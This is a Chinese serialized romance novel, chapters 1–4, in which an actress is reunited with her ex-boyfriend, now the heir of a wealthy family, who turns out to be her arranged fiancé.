《白璧追欢[破镜重圆]》
1. 重逢
论起近日S市豪门圈里有什么新鲜事,头一件就是城南霍家找到了失散多年的儿子,为此专门举行一场认亲晚宴。
一时间名流云集,到处觥筹交错,好不热闹。
沈欢却无心社交,躲在角落里,摇晃高脚杯,看着深红色酒液敲打在杯壁上,荡出好看波纹,一时间心烦意乱。
倘若早知道这次宴会主角是陈璧,她压根不会出现在这里。
一想起这个久违的名字,沈欢忍不住深深叹气。
本以为分手以后,山高水远再不相逢,可惜命运专爱捉弄人,偏要他们聚于一地。
“哟,沈大明星,躲这里干什么?怎么不去会会你的老相好?”一道声音满含嘲讽,轻飘飘传来。
沈欢蹙眉,不用回头就知道来人是何媛媛,一位致力于与她作对的大小姐。
两人呛声已成习惯,沈欢自然不甘示弱:“何媛媛,你这么关心我的恋情,难道是上辈子媒婆没当够?”
这一句话气得何媛媛红眼,恨恨咬牙,她下巴长着一颗黑痣,平生最恨别人将她比作媒婆。
“沈欢,我看你能嘚瑟到几日,你现在肠子都悔青了吧?当年甩得干脆的穷小子,现在已经飞黄腾达,成了炙手可热的香饽饽。”
“可惜啊,你不仅眼光不好,也没把握住机会,失去就是失去,再也找不回来了。”
何媛媛冷笑,目光像淬毒的蛇,高傲扬起下巴。
沈欢浑身僵硬,脚下仿佛生了根,一动不动站在原地,然而心脏早已伴随着对方讥讽的话,剧烈跳动起来。
一些记忆如走马灯般闪回在眼前,清晰得仿若昨日,鲜活而生动,是她再未体会过的快乐。
何媛媛从侍者盘中端起一杯香槟,自顾自与沈欢手中的高脚杯碰撞,下一刻,清亮酒液倾倒而出。
“抱歉,手滑了。”何媛媛毫无歉意地耸耸肩,转身准备离去。
胸前一阵冰凉,激得沈欢猛然回神,不再沉溺于过去。
她的字典里向来没有吃亏二字。
“站住。”沈欢眉头轻蹙,上前一步,干脆利落抬手。
下一刻,深红色酒液兜头浇下,何媛媛惊叫一声,脸上精致全妆花了个彻底,素白长裙染上污渍,顿时狼狈不堪。
沈欢嗤笑,随手将空酒杯放在桌边,发出清脆声响,吓得她如惊弓之鸟,身子颤抖一瞬。
何媛媛没想到她会翻脸,色厉内荏:“你敢砸霍家场子?”
“是你先招惹我的,”沈欢眼波一横,淡淡扫过一旁作壁上观的男人,露出明媚笑容,“陈少也能替我证明。”
她的话音落地,众人目光都被这个称呼吸引过来,好奇地张望,窃窃私语:“他就是霍家认回的大少爷?虎父无犬子,果然气宇轩昂。”
男人从阴影处走出来,面容沉静,与年少时相比并无明显变化,只是气质更加清贵,带着从前不曾有的游刃有余。
一双黑眸注视沈欢与何媛媛,不带感情,仿佛在看素昧平生的陌生人,又仿佛在欣赏一出无关闹剧。
冲动消退,沈欢的笑容慢慢僵在脸上,暗地攥紧手指。
“请何小姐出去。”陈璧收回目光,淡淡吩咐一旁侍者。
沈欢眨眨眼,没想到他还愿意站在自己这一边。
“陈少,你凭什么让我走?我代表何家前来赴宴,你们霍家对待客人就是这种态度?”何媛媛还在争辩,可酒液不断自下巴滴落,提醒着她的狼狈。
陈璧彬彬有礼:“何小姐误会了,只是请您去后面更衣。”
何媛媛这才勉强同意,得意洋洋地瞥了沈欢一眼,踩着高跟鞋冷哼离开。
沈欢一时不知作何反应,她站在原地,呆怔地想,原来他也没有站在自己这边,只是不想事情闹大,拂了霍家面子。
是她自作多情了。
“沈小姐,”陈璧微微颔首,面容疏离,“我带你去楼上更衣。”
“谢谢。”沈欢打电话叫助理送一套备用礼服过来,跟在陈璧身后。
两人一前一后,越过宴会大厅无数人潮,沈欢亦步亦趋,盯着陈璧锃亮的红底皮鞋,一时分神。
陈璧的第一双皮鞋,还是她送的呢,不过可能早已跟着破旧回忆,一起扔进垃圾桶里。
沈欢胡思乱想,不自觉踩着前人的影子亦步亦趋,两人身影被辉煌灯光拉得很长,摇曳着黏在一起,仿佛从未分开过那样。
突然,前人停步,沈欢反应不及,鼻子撞上陈璧坚硬的后背,眼睛霎时泛起泪花。
她眼泪汪汪地抬头,看见霍叔叔站在楼梯口,赶紧乖巧打招呼:“霍叔叔好。”
说话时带上鼻音,陈璧转头看了她一眼,随后退了半步,站在她身边:“父亲。”
霍建山目光停留在沈欢红彤彤的眼眶上,不赞同地蹙眉:“陈璧,你就是这么照顾欢欢的?把人都弄哭了。”
“别忘了,她可是你的未婚妻。”
未婚妻?
沈欢心下一惊,快速偷瞄陈璧,怪不得她母亲非要她来赴宴,原来是为这事。
她和霍家有婚约,是她上大学以后才知道的事情,可她无论如何也没想过,这个人选有朝一日会落在陈璧身上。
“我知道了,我带沈小姐去换身衣服。”陈璧没有辩解,只是应下。
两人辞别霍氏大家长,走上二楼,走廊尽头就是一间客房。
助理还没有把礼裙送来,沈欢站在门口,感觉气氛有些凝固,想要说些什么缓解尴尬:“你——”
“你——”
没想到对面同时开口,他们对视一眼,沈欢下颌微扬,示意陈璧先说。
“关于婚约,你了解多少?”陈璧倚靠墙壁,低头沉吟片刻道。
“大学时期知道的。”沈欢没想到陈璧上来就直截了当问这个问题,她撩了一下微卷发梢,佯装淡定。
“跟我们分手有关吗?”陈璧追问。
“……没有。”
四周空气变得凝滞,沈欢有些不安,悄悄抬头,对上一双深不见底的黑眸。
下一刻,一只大手按上她裸露的肩,一股大力袭来,她的后背隔着坚实臂膀撞上门扉,
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忍不住闷哼一声。
耳边传来男人低哑的嗓音,伴随温热气息,惹得她阵阵颤栗。
“沈欢,你当初想嫁给谁?”
“是霍景,还是霍楼?”
霍家那几个游手好闲的混子富二代,究竟有什么好的?值得她不顾一切也要离开他?
明明他创业即将成功,能够凭借自己的能力,让她过上富足生活。
陈璧死死盯着沈欢娇嫩的唇瓣,突然很害怕,他怕,这张向来伤人不眨眼的嘴,再次说出令他发狂的话。
于是,不待沈欢回答,他伸出拇指,一寸寸碾过她的唇,沾下一层淡淡的口脂。
沈欢挣扎不得,只能任他作为,下一刻,她眼睁睁看着陈璧低头,蜻蜓点水般吻上来。
若有若无的触感令她颤抖着闭上眼睛,身子撑着门扉苦苦坚持,她不愿面对这一切,他们彼此之间太过熟悉,这样反而招架不住。
“你像扔垃圾一样甩掉我以后,有人这样对待过你吗?”恶魔在耳畔低语。
“有……”沈欢不甘示弱,在换气间隙里强撑着说,换来的却是暴风雨般的亲吻,令她一时分不清今夕是何年。
旋转楼梯响起清脆脚步声,助理要来了。
沈欢慌张到了极点,下意识咬了男人一口,嘴里泛起淡淡血腥味,陈璧这才退开半步,低笑一声,眸光淡漠无情。
“没关系,不管你当初想要嫁给谁,现在你都只能嫁给我。”
“沈欢,兜兜转转,我才是你的唯一选择。”
沈欢站直身子,伸出手背恨恨拭过唇角,像在擦去什么脏东西,然后反手一巴掌狠狠甩在陈璧的脸上。
响亮声音吓得助理脚步一顿,犹豫着是否出现。
“手疼吗?”陈璧不躲不闪,只是在她打完以后,攥住她的手轻吹。
他的眼睫很长,垂下来时在她白皙手掌心投下好看阴影。
沈欢掌心发烫,控制不住地蜷缩手指,咬牙骂道:“你真是个疯子。”
她觉得陈璧精神状态堪忧,疑似在分开的这几年里成功进化为抖m,打一巴掌还要舔你手的那种。
“多谢夸奖。”陈璧眼尾上扬,深以为荣。
助理及时送上礼裙,沈欢接过走进客房,狠狠剜了陈璧一眼,随后毫不留情地关门。
陈璧没有阻拦,抬手理正凌乱领带,视线一错不错地盯紧房门,像一匹蛰伏的野狼,尽是占有疯狂。
他低笑一声,披上理智的皮囊,回到温文尔雅的姿态,下楼离开。
沈欢背靠门扉,听到脚步声渐行渐远,这才脱力一般滑坐在地。
事情怎么发展成现在这个样子?
分手时,她早已想好不再和他有任何瓜葛,却没想到再次重逢,陈璧不仅换了个身份,还成了疯狗。
乱咬人的那种。
他到底想干什么?是想将她钓回来,再掌握主动权甩掉她,以此报复当初的断崖式分手?
分开几年,再谈感情,是否有些可笑?
毕竟……他们之间相隔的不止是时间。
2. 贪恋
“问到何时葡萄先熟透,你要静候再静候。”
沈欢思绪逐渐飘远,飘到葡萄成熟时,那是他们初遇的季节。
高二八班教室窗外,树叶不知何时披上金光,在风中摇晃,灿烂如少年们恣意青春。
沈欢咬着笔头思考英语完形填空,瞥到讲台上清瘦身影,好奇戳戳同桌:“他是谁?”
“据说是插班生,拿了全额奖学金。”同桌崔蕊小声八卦。
下一刻,班主任老何拍了拍手:“都抬头。”
地中海老头踮着脚,努力揽住少年的肩:“给大家介绍一下新来的同学,他叫陈璧,是一中转来的学霸,以后好好相处。”
“老何,你个子还没到人家肩膀,就别揽了行吗?看着别扭。”班上活跃分子开始吹口哨调侃。
老何放下手假装生气,拿出戒尺拍打讲台:“谁说的?站出来我绝对不打你。”
全班顿时一阵欢笑。
“璧是哪个字?墙壁的壁吗?”沈欢发出好奇疑问。
“也可能是碧水江汀的碧。”崔蕊接腔。
少年无甚情绪的眸子动了动,朝这两人方向看过来。
下一刻,他为众人解惑:“白璧追欢的璧。”
话音刚落,教室里先是死寂,倏然爆发出掀翻屋顶的起哄声。
“哦——”
沈欢愣怔片刻,才反应过来,霎时间脸熟透。
她将散发热意的脸贴在冰凉桌面上,支起完形填空练习册,将自己挡得严严实实,咬牙嘟囔:“死装文青男。”
想起年少时戏剧化的初遇,沈欢忍不住笑出声。
她收回思绪,脱下沾上酒渍的礼裙,换上露肩鱼尾裙,恰到好处展现完美身材,再配上一张慵懒明艳的面容与微卷长发,又回归足够惊艳的大明星。
她掏出口红细细补妆,一切收拾妥当,仿佛刚才什么都没有发生过。
“把账单寄到何家,提醒他们及时赔付,否则告诉我哥,推迟和何家的合作。”沈欢一边下楼,一边吩咐助理。
她从不是心慈手软的人,不得不说,对付何媛媛这种爱蹦跶的蚂蚱,温言软语对方只会觉得柔弱可欺。
沈欢回到宴会厅,面色如常,却在瞥见陈璧侧脸泛起的红印,与唇角可疑的破皮时,不自觉尴尬一瞬。
她气急败坏地想,他一定把这当成把柄,在外败坏自己名声。
煎熬到晚宴散场,沈欢与霍叔叔告别,准备离开别墅院落,却看见陈璧跟上来:“我送你。”
“不需要。”沈欢视若无睹,快步向院外走去。
陈璧不语,只是在踏出宴会厅时,将拿了许久的西装外套轻轻披在沈欢肩头,遮住雪白肌肤。
一股熟悉气息萦绕在沈欢鼻尖,秋夜凉风都被挡在身外。
她抿唇,纠结再三还是没有拒绝:“下次还你。”
陈璧点头。
回到市中心的公寓,沈欢甩掉高跟鞋,卸完妆便疲惫躺倒在沙发上,将西装外套拥入怀中。
分开这么久,原来她还贪恋他的味道。
入睡前的头疼还没有动静,沈欢迷迷糊糊昏过去。
今夜是她为数不多的好梦。
第二天,沈欢是被一阵急促门铃叫醒的。
她支起身子开门,经纪人李姐便快步走进来:“你怎么还在睡,连昨晚被偷拍都不知道吗?”
沈欢从玄关捡起手机,打开微博,热搜赫然挂着#沈欢恋情#的词条,后面跟着一个晃眼的“爆”字。
她动动手指点进去,映入眼帘的就是狗仔偷拍的照片,陈璧正侧身为她披上外套,宴会厅门口的灯光恰到好处打在两人身上,营造出朦胧氛围感。
拍得还不错,沈欢走神。
“你还保存照片!”经济人难以置信地喊了一嗓子,把沈欢的魂叫回来。
她才发现不知何时,自己已经熟练地点开图片,然后长按保存原图。
“手滑了。”沈欢若无其事地耸耸肩,继续往下翻,看八卦网友的讨论。
李姐伸长脖子,往沙发上看了一眼,搭着男士西装外套,私人定制,独一无二,赫然是照片里的那件。
“真有恋情了?”李姐小心翼翼,“老实交代,这关系着公关部接下来怎么运作。”
“没有恋情。”沈欢干脆否认。
顿了顿,她吐出一句令经纪人绝望的话:“但有联姻对象。”
李姐刚放下的心又提起来,似乎是在努力消化这个事实:“是那个城南霍家?终于想起让你履行婚约了?”
沈欢抿唇,无奈点头。
只是她没想到,折腾了一圈,与她履行婚约的人,变成了她的前男友。
也不知是福还是祸。
经纪人明白现状,匆匆离开,回工作室处理热搜舆论。
沈欢彻底清醒过来,洗漱完下楼,助理已经在楼下等着接她前往剧组。
今天是她新接的古装剧《不成悲》开工的重要日子。
沈欢坐上车,崔蕊的电话第一个跳出来:“听说……你见到陈璧了?你们有没有起冲突?”
沈欢抿唇,一些触感似有若无徘徊,被强吻了算吗?
但她表示淡定,就当被狗咬了一口:“蕊蕊,都过去了。”
“那我怎么听说,你的联姻对象换成他了?”崔蕊忧心忡忡,“他不会是想趁机报复你吧?”
“说实话,总比嫁给霍楼那种纨绔子弟好吧?就算被报复,我也认了,反正是我欠他的。”
就当是上天给她一次弥补错误的机会吧。
沈欢反过来安慰崔蕊:“其实还是我赚了呢,陈璧好歹是霍家大房唯一继承人,霍叔叔对我也很好,没事的,你不要担心我。”
“欢欢,”崔蕊低声道,“当年是我没用,我去劝我哥帮沈家,可我哥死活不同意,不然你也不用被迫分手,接受霍家婚约,跟陈璧走到现在这一步。”
“生意场上的事,崔淏也有自己的考量,”沈欢没想到这么多年过去了,崔蕊还在纠结往事,赶忙转移话题,“别说我了,聊聊你的事。”
“怎么样?你拿下兰影帝了吗?”沈欢促狭打趣。
崔蕊立刻吐槽起来:“哎呀,早着呢,兰雪衡高冷得要命,我现在连私人联系方式还没要到,我给
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他说我是《不成悲》的原著作者,他只给我工作号!你说他这人过不过分?”
沈欢想了想,决定为好闺蜜制造机会:“今晚剧组开工聚会,他是男主角肯定会出席,你要不要来凑热闹?”
崔蕊自然爽快答应。
沈欢挂断电话,打开微信,手指悬在添加朋友的界面,久久不敢点下去。
崔蕊的话提醒她,重逢时太过慌张,都忘了索要陈璧的联系方式。
……虽然她早已将他的手机号背得滚瓜烂熟。
下一刻,微信下方通讯录跳出一个红点,她盯了几秒,莫名有些紧张。
“Wall请求添加你为好友。”
申请理由只有两个字,足够简洁明了:“陈璧。”
沈欢仰靠在后座椅背,疑神疑鬼地扫视一圈,大白天的,怎么有种被某人暗中监视的诡异错觉。
点击同意后,手机界面立刻跳到对话框,陈璧的头像是一堵刷得雪白的墙。
沈欢愣神,她不会忘记这堵伫立于高中母校的白墙。
陈璧的养父是个混混,爱赌博借高利贷,被债主追上门要账时却怂了,只敢当缩头乌龟躲在家里闭门不出。
陈父不露面,那群恶霸便冲到学校去闹事,用红色油漆在围墙上涂满陈璧和陈父的名字,并留言“欠债还钱,天经地义”。
路人围观,指指点点:“啧啧啧,没想到私立学校也有这么不要脸的人。”
陈璧单肩挎着书包,挤开人群,面无表情走进学校,像一只孤立的鹤。
当天半夜,沈欢悄悄溜出家门,拎着几桶白油漆跑到学校,准备将血红围墙重新刷成整洁白色。
忙得热火朝天时,她听见背后传来脚步声,扭头一看,赫然是陈璧。
他穿着不要的旧衣服,拿起油漆滚筒刷,默不作声加入。
干完活,天边已泛起鱼肚白,清晨微风吹动发丝,两人脸上都不同程度沾着白油漆,看起来狼狈不堪。
收拾好工具,朝阳彻底升起,街上出现三三两两行人,金灿阳光笼罩着陈璧,微长刘海遮住额头,身影投射在白墙上,温柔拂动。
沈欢屏住呼吸,莫名想起一句“浮光跃金,静影沉璧”。
“陈璧。”她突然想叫他的名字。
陈璧转过头,静静看她,耐心等待她的下一句话。
少女鬓角散着薄汗,她单手握拳,举到他面前,笑容比天边日光更加明媚夺目:“我相信,以后你的名字只会出现在光荣榜上。”
陈璧凝视她,黑眸诚挚干净,透着说不出的温柔:“沈欢,谢谢你。”
说罢,他也举起一只手,握拳,在半空中和她碰撞在一起,似乎订下一则只有彼此知晓的约定。
阳光下散落的是金色碎片,一如少年真挚情谊。
当沈欢再次从照片里看到这堵白墙时,那一阵清晨微风,从数年前的青春里吹来,再次令她感到温暖宜人。
直到聊天框里跳出新消息,沈欢才回过神,她忍不住笑自己,回忆青春是老了以后才会做的事情。
而她现在还年轻,还有机会鼓起勇气创造新的回忆。
3. 敬酒
【Wall:周末来霍家聚餐,我去接你。】
【Happiness:好的。】
抱着手机等了一会儿,沈欢都没有收到新消息,正好前排助理探出头来:“姐,剧组到了。”
她收起手机匆匆下车,没看见对面又发来一条祝福。
【Wall:沈欢,开工顺利。】
一到剧组,沈欢就进入工作状态,将手机交给助理保管,任由化妆师在脸上涂涂抹抹,由于拍过定妆照,这一套流程她已经很熟悉了,只是戴上发套以后依旧感觉闷得慌。
这是她第一次拍古装剧,换好戏服后,有些不习惯地摸了摸头上的假发包,仔细瞧镜中的自己。
银质发冠束起高马尾,妆容浅淡,专门将白皙肌肤涂深几个色号,更加凸显出英气轮廓,活脱脱一个剑眉星目的侠女。
这次她饰演的是一个仗剑江湖的侠女李离悲,偶然间捡到失忆公子莫岚,两人一起查案,扫除奸邪,却因触碰朝廷奸臣的利益被追杀,关键时刻,莫岚为了保护她引开追兵,从悬崖坠落,不知生死。
李离悲无法接受现实,沿着悬崖下河流找寻数里,依旧没有音讯,她决心回到家族寻求帮助,并铲除奸臣为他报仇,却再次遇见莫岚。
此时,他记起自己的身份,乃是当朝太子萧岚,却忘记了和她闯荡江湖的经历,向朝廷奸臣恭敬行礼,并呼唤太傅。
幸好李离悲保存了一枚玉佩信物,逐步获取他的信任,最终找到确凿罪证,令奸臣伏诛,还天下太平。
今天要拍的第一幕戏其实是剧本的最后一幕,对情绪要求很高。
陈导走过来,叮嘱沈欢和兰雪衡:“第一场戏一定要一遍过,不NG,咱们图个好兆头,确定准备好再开拍,不急。”
两人也不是第一次见面,省去不必要的寒暄,直接进入正题,对几遍台词找到感觉,沈欢酝酿好感情,放下剧本扭头喊导演。
一切事了,李离悲于天光乍破时骑上白马,背着一柄剑,独自一人走出城门,她攥紧手中缰绳,转头看向城楼之上,半晌,失望转头。
萧岚没有来送别。
一滴泪悄然落在马背上,骏马似乎感受到主人的情绪,发出不安嘶鸣。
“他不会来的,”李离悲抹掉眼泪,抚摸马鬃,语气沉静,“我不会入宫,和三千佳丽争宠,也不愿意嫁人生子,过柴米油盐的琐碎生活。”
“我只想握紧手中的剑,锄奸惩恶,快意江湖,感情只会影响我拔剑的速度。”
“这是我自少年时离开家族的初心,不可能为他改变,而他也有必须承担的责任,不可能为我改变。”
“人间别久,自不成悲,走吧,现在只有你陪我一起闯荡江湖了。”
说罢,李离悲轻扬马鞭:“驾——”
马蹄声阵阵,女侠身影消失在官道尽头。
四周景物变幻,李离悲突然发现路丛中倒着一个人,古道热心的她立刻勒停快马,匆匆上前察看。
那人一身破烂衣服,面朝下倒在地上。
“喂,你还活着吗?”李离悲将他翻过面,忧心忡忡问。
话音刚落,她便察觉不对劲,冷哼一声将人摔在地上:“萧太子,你在搞什么把戏?民女不明白。”
“太子是谁?我不认识。”男人躺倒在地,露出恰到好处的迷茫,唯有一双笑盈盈的眸子灿若星辰,暴露了他的身份。
萧岚一骨碌爬起来,拍拍手上的灰:“我叫莫岚,我失忆了,只认识你一个人,就要跟着你,你得为我负责。”
“我会烧柴生火,会打猎种田,什么都能干,你就收留我吧,我当你的童养夫!”
李离悲目光怔忪,这正是他们初遇时莫岚说的话。
回忆与现在重叠,李离悲眼前逐渐蓄起泪光:“我不需要,我一个人也能过得很好。”
“可是一个人太孤单,你就当我是只蛐蛐,路上逗趣解个闷。”
李离悲一拳打在他肩膀上:“你的江山不要了?”
莫岚摊手:“我摔了几次,记忆已然残缺不全,父皇觉得我脑子不好使,决定将太子之位传于我的胞弟。”
“奸人已被铲除,有忠臣辅助,相信他会还天下一个太平盛世。”
莫岚面色温和,向她伸出手:“别说什么人间别久不成悲,我一分一秒也不想和你分开。”
“带我一起走,好不好?”
李离悲笑着笑着,眼泪就滴落下来,她不再犹豫,搭上男人大手,郑重道:“好。”
“咔!”陈导激动大喊,露出满意神色,“很好,一遍过!”
沈欢松了口气,从入戏状态中暂时脱离出来,助理递上纸巾,她轻轻擦掉眼泪,化妆师立刻上前补妆,准备拍下一场戏。
连轴转拍到晚上,陈导才终于大发慈悲喊收工:“大家都辛苦了,别忘了晚上开工聚会。”
众人纷纷应声,沈欢坐在休息室里卸妆,崔蕊熟门熟路走进来:“欢欢,收拾好了吗?”
“快了。”沈欢加快手上动作,将深色号粉底液彻底卸掉,露出白嫩肌肤。
崔蕊围着她转悠两圈,第一万次发出羡慕的感叹:“真不愧是我钦定的女主角,你果然适合这个角色。”
“别贫了,兰雪衡就在外面,你没打个招呼?”沈欢打趣。
“我哪敢啊,他可能已经忘记我了,只能从长计议。”
崔蕊托腮叹气,她和兰雪衡是同一个戏剧学院毕业的,她是编导系,兰雪衡是表演系,两人共同合作过一部稚嫩的毕业作品,曾在网上小火一把。
两人说笑着往外走,沈欢帮她出主意:“你来当跟组编剧呗,错过这次机会,以后更难接触到他了。”
“我考虑一下……”崔蕊若有所思。
开工聚会很是热闹,几大主创坐在一桌,陈导举起酒杯,笑得像慈祥弥勒佛:“祝《不成悲》开拍顺利,送审进绿色通道,来,大家都提一杯!”
沈欢看着杯中高度白酒,微不可察地蹙眉,可席间气氛到了,她也不想扫兴,于是举起酒杯迎合,放在唇边沾了沾便放下。
女二号汪佩佩眼尖,掐着细嗓子,娇滴滴道:“哎呀,我们女主角怎么不喝陈导敬的酒?这是不给陈导面子了?”
一杯酒下肚,陈导身子热起来,偏头看了眼沈欢:“沈欢啊,这第一杯酒还是要喝的,图个好兆头,今后才能事事如意。”
沈欢早听说陈导这人在拍戏上专业度有保证,就是既迷信又爹味,最喜欢搞酒桌文化这一套,没想到传言是真的。
“陈导,我前几年做过手术,喝不了酒。”她不想和导演起冲突,忽略幸灾乐祸的汪佩佩,耐着性子解释。
“你也说了是几年前,肯定不影响现在喝酒,来,我给你满上,就喝一杯,你叫我一声陈导,却连这点面子都不肯给我吗?”
陈导拿起酒壶,站起来走到沈欢面前,想要抢夺她桌上的酒杯,地中海男人露出油腻的笑,引得她心底一阵反胃。
兰雪衡和崔蕊见势不对,刚准备阻拦,门口突然传来响动。
“她说了不喝,陈导你是年纪大耳聋了吗?”来人冷冽声音传遍包厢。
沈欢怔仲片刻,心头一松,莫名感到安定,她循声望去,男人穿着白衬衫,一丝褶皱也无,臂弯搭着浅灰色西装外套,一步步朝她走来,像一株遮天大树,能为她提供最安全的庇护。
陈导蓦地一惊,冷汗刹那间渗遍后背,被酒意熏得发晕的脑子终于清醒过来,才想起沈欢背靠沈家,是他惹不起的存在,而面前站着的男人,是这部剧最大投资人。
不是说陈总不来吗?陈导心头划过一丝疑惑。
但嘴比脑子快,这根老油条已经开始熟练道歉:“沈小姐,是我喝酒上头,我的错,自罚三杯给您赔个不是,还望大人有大量,原谅我的冒犯。”
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沈欢还没说话,陈璧不紧不慢地接腔:“三杯不够,既然你爱喝酒,那就喝个够,这一整壶都归你了。”
“是、是。”陈导挤出尴尬笑容,像一朵皱巴巴的菊花,顾不得其他,他抱着一壶酒直接往嘴里灌,辛辣白酒呛得流眼泪,也不敢停下。
颤颤巍巍喝完,陈导目光含着希冀,投向沈欢,渴望听见一句原谅。
沈欢抿唇,避开陈导的祈求眼神,她并不想轻易原谅这种人,留在娱乐圈就是害群之马。
曾听说有刚出道的小姑娘在酒席上被他轮番劝酒,喝到胃出血送进医院抢救,却因为没有背景不敢声张,只能独自咽下苦楚。
陈导这次可算是踢到铁板了,他的愿望只会落空,等来的唯有陈璧冷冰冰的通知:“你可以走了,剧组会更换一名导演代替你。”
说罢,他攥住沈欢的手腕,将她强势带离包厢。
崔蕊感觉陈璧此时并不冷静,焦急起身想要阻止,却收到沈欢一个安抚眼神,只得坐回原位,暗自忧虑。
陈导跌坐在地,嘴里叨叨着“完了”,一脸失魂落魄,今日过后,他不会被霍家彻底封杀吧?
都怪汪佩佩这个贱人挑事,他从不在自己身上找问题,只会咬牙,在心底愤愤怒骂他人。
沈欢被陈璧拽出包厢,跌跌撞撞坐上车,这才挣开束缚,怒视他:“陈璧,你想干什么?被狗仔拍到怎么办?”
“那就公开我们的婚约。”陈璧冷哼,一句话镇住她,这是他求而不得的事。
忽视这双怒目圆睁的美目,陈璧不再废话,开始动手扒拉她。
沈欢穿着一件简约丝绸衬衫,和一条黑色阔腿裤,扒拉起来倒是不费力。
不明白这条疯狗又想干什么,她一时忘了动作,任由他撸起她的衣袖,细细检查一番,随后,大手摸上她纤细脚踝,挽起裤腿。
小腿肌肤骤然裸露在微凉空气中,沈欢打了个寒颤,剧烈挣扎起来,一脚踹上陈璧胸膛,咬牙:“你到底想干什么?真疯了的话就去精神病科挂号,别在我面前瞎折腾!”
陈璧任她踢打,只是认真摸索过腿上每一寸皮肤,确认没有可疑疤痕,这才松开钳制她脚踝的手。
沈欢还没喘过一口气,下一刻,大手向她的衣摆探过来。
“啪”,响亮的巴掌声在车厢里回响,陈璧被打得偏过头去。
“清醒一点!”沈欢胸口不断起伏,眼眶微微发酸,“你是哑巴吗?说话!你到底在找什么?”
“手术。”陈璧回过头,黑眸中浮现血丝。
他一字一顿:“离开我以后,你做过什么手术?”
头顶昏黄灯光闪烁,沈欢被他刚才举动气得不轻,开始口不择言:“关你什么事?我们现在只有联姻关系,就算有婚约也只是协议结婚,我有什么义务告诉你我的隐私?”
陈璧痛苦闭眼,鬓角青筋若隐若现:“告诉我,求你。”
沈欢闭嘴不答,倔强扭头看向车窗外,这座繁华不夜城灯光弥漫,能够照亮所有大街小巷,可她却很无能,看不透他的心。
“……无可奉告。”沈欢听见自己的声音冷冰冰回答。
车厢内一片死寂,陈璧难过到几分哽咽,很想掰过她的肩膀问问她:为什么会生病呢?为什么会严重到需要做手术的地步?是我当初忙着创业,没有照顾好你吗?
还有,分手以后,你究竟过得幸福吗?
半晌,陈璧低头,攥紧拳慢慢恢复冷静:“对不起,刚才是我冒犯了。”
“你不想说,我不逼你,我也不会私下调查你,我等你愿意告诉我的那一天,行吗?”
“现在时候不早了,我先送你回家。”
沈欢微不可察地点头,陈璧打电话叫司机过来开车,两人坐在后座,仿佛相隔楚河汉界。
司机自后视镜中瞥见老板脸上醒目红痕,大气也不敢喘,规规矩矩开车。
4. 好奇
夜间车少,一路平稳到了市中心公寓,沈欢迅速推门下车,像在逃避什么洪水猛兽。
“……后天会有新的导演接手,你认识的,温柒凡。”陈璧出声,轮廓隐在明暗交界处,她一时看不清他的表情。
她确实认识,温柒凡是她上一部文艺片的合作女导演,镜头情感细腻,她们合作很是愉快。
想到今日他及时出手相助,她终究心软片刻,站在窗外小声说:“今天还是谢谢你,帮我挡了麻烦。”
语毕,她感觉脸微微发热,顾不上看陈璧的反应,扭头跑进楼里。
陈璧静静坐在车里,直到楼上那层亮起灯光,才低头捏了捏眉心:“走吧。”
沈欢休息一天以后,接着进组拍戏,开启忙碌的工作状态,陈璧也没有再来打扰她。
休息间隙,沈欢听助理说,他去B市出差了。
难怪她的生活回归风平浪静,果然男人还是忙点好啊。
周六,沈欢准点下班,刚出剧组,就看见一辆熟悉的迈巴赫停在路边,她仔细想了想,才从记忆里翻出一桩约定,要和陈璧一起去霍家聚餐。
以未婚妻的身份。
她刚准备朝那边走去,一道风流口哨声响起:“未婚妻,走啊,我送你去霍家。”
听到这个声音,沈欢立刻加快脚步:“不用。”
下一刻,她的手腕被拽住,霍楼的脸出现在她面前,他梳着大背头,不知道抹了几层发胶,穿着花衬衫,一副浑不吝的模样。
“霍叔叔没有告诉你吗?我已经不是你的未婚妻了。”沈欢狠狠甩掉他的手,毫不退让地怒视他。
“少拿伯父压我!”霍楼烦躁,“大房有什么好的?你们一个个都死命贴上去讨好,陈璧一回来,我连未婚妻都得拱手相让!”
“我们认识时间也不短,你对我就没有一丝感情吗?”
沈欢诚实摇头,并好心提醒:“再不离开,陈璧不会放过你的。”
霍楼想起陈璧那张冷寒的脸,不由自主地打了个颤,转而硬气道:“他不会来的,我在B市为他准备了大礼,他根本处理不完,哪有空来找你。”
“什么大礼?”一道低沉的声音传来,“是指你派来的那几个草包下属吗?”
霍楼面色一僵,露出尬笑:“……大哥,你怎么回来了?”
“那几个下属已经被我开除了,你呢?想跟他们一起离职吗?”陈璧比霍楼高一个头,站在他面前自带俯视气质,仿佛看一只没用的蝼蚁。
霍楼难以置信,那几个下属是他的心腹,费尽心思才潜入陈璧团队,成为他的重要眼线,就这样轻而易举被揪出来,成为一颗颗废棋。
“伯父不会同意的!”霍楼色厉内荏。
“你派来的下属暗中倒卖公司重要数据,证据已经收集好了,我完全可以今晚就呈到父亲面前,让他来评判是非对错。”
陈璧表情淡淡,说出的话却如雷贯耳,令霍楼面色愈发苍白。
“如果你还想保霍家二房过富贵闲人生活,那就离我的未婚妻远一些,否则,你知道我的手段。”
沈欢坐上车,还没回过神来,直到凉凉的酒精棉片敷上手腕时,才瞥了陈璧一眼:“你不好奇吗?”
“好奇什么?”陈璧低头,专注地擦拭她被霍楼触碰过的手腕。
沈欢:“我和霍楼到底有没有在一起。”
“不用好奇,没有。”
他将棉片扔进车载垃圾桶,目光落在她粉扑扑的面颊上,漫不经心地想:他离开的这几天里,她把自己照顾得很好。
“为什么?”沈欢心情莫名放松,还有闲心逗弄他。
“你看不上霍楼这种人,”陈璧斩钉截铁下结论,顺道上眼药,“以后离他远一点,他私生活混乱,朝三暮四,不是好人。”
沈欢应下,收回手腕,不自在地活动两下。
快到霍宅时,陈璧才说:“今天是我母亲的生日,礼品都准备好了,在后备箱里。”
沈欢后知后觉,有些猝不及防:“这算见家长吗?”
“算吧,”陈璧轻笑,“你可以这么理解,紧张吗?”
“不紧张,我认识叔叔阿姨的时间比你还早。”沈欢没好气地戳他胸膛,指尖被他轻轻握住。
紧接着,男人顺杆子往上爬,五指插入她的指缝,转而变成十指相扣的姿势:“伪装恩爱,会吗?”
沈欢深呼吸,坏了,这下是真的心慌起来了。
她强装镇定,跟着他一同下车。
司机和管家从后备箱里拎起礼品,别墅大门敞开,沈欢刚踏进玄关,霍母便上前迎接:“欢欢来了?”
她的目光落在两个年轻人相牵的手上,笑容更加真挚:“你看你这姑娘,人来就成了,怎么还带这么多礼物,让你破费了。”
